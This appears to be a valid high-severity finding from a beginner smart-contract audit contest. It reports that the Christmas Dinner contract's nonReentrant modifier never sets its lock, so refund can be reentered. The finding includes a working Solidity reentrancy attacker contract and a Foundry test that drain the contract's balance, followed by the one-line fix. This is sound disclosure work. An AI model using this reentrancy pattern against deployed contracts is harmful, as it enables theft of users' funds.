Christmas Dinner

First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in `ChristmasDinner::refund` allows malicious code to drain contract balance

Summary

The ChristmasDinner::nonReentrant modifier doesn't set locked to true before transfer money, so malicious code can bypass reentrant check and drain the contract balance.

```javascript
modifier nonReentrant() {
require(!locked, "No re-entrancy");
@> _;
locked = false;
}
```

Vulnerability Details

Proof of Code:

```javascript
contract ReentrancyAttacker {
ChristmasDinner cd;
ERC20Mock usdc;
uint256 depositAmount = 1e18;
constructor(ChristmasDinner _christmasDinner, ERC20Mock _usdc) {
cd = ChristmasDinner(_christmasDinner);
usdc = _usdc;
usdc.approve(address(cd), depositAmount);
}
function attack() external payable {
cd.deposit(address(usdc), depositAmount);
cd.refund();
}
receive() external payable {
console.log(ERC20Mock(usdc).balanceOf(address(cd)));
if (ERC20Mock(usdc).balanceOf(address(cd)) > depositAmount) {
cd.refund();
}
}
}
function testReentrance() public {
vm.prank(user1);
cd.deposit(address(usdc), 2e18);
uint256 depositAmount = 1e18;
ReentrancyAttacker attacker = new ReentrancyAttacker(cd, usdc);
usdc.mint(address(attacker), depositAmount);
uint256 startingAttackerBalance = ERC20Mock(usdc).balanceOf(address(attacker));
uint256 startingContractBalance = ERC20Mock(usdc).balanceOf(address(cd));
attacker.attack();
uint256 endingAttackerBalance = ERC20Mock(usdc).balanceOf(address(attacker));
uint256 endingContractBalance = ERC20Mock(usdc).balanceOf(address(cd));
assertEq(endingAttackerBalance, startingContractBalance + startingAttackerBalance);
assertEq(endingContractBalance, 0);
}
```

Impact

All contract balance could be stolen by malicious user.

Tools Used

manual review

Recommendations

```diff
modifier nonReentrant() {
require(!locked, "No re-entrancy");
+ locked = true;
_;
locked = false;
}
```
Updates

Lead Judging Commences

0xtimefliez Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!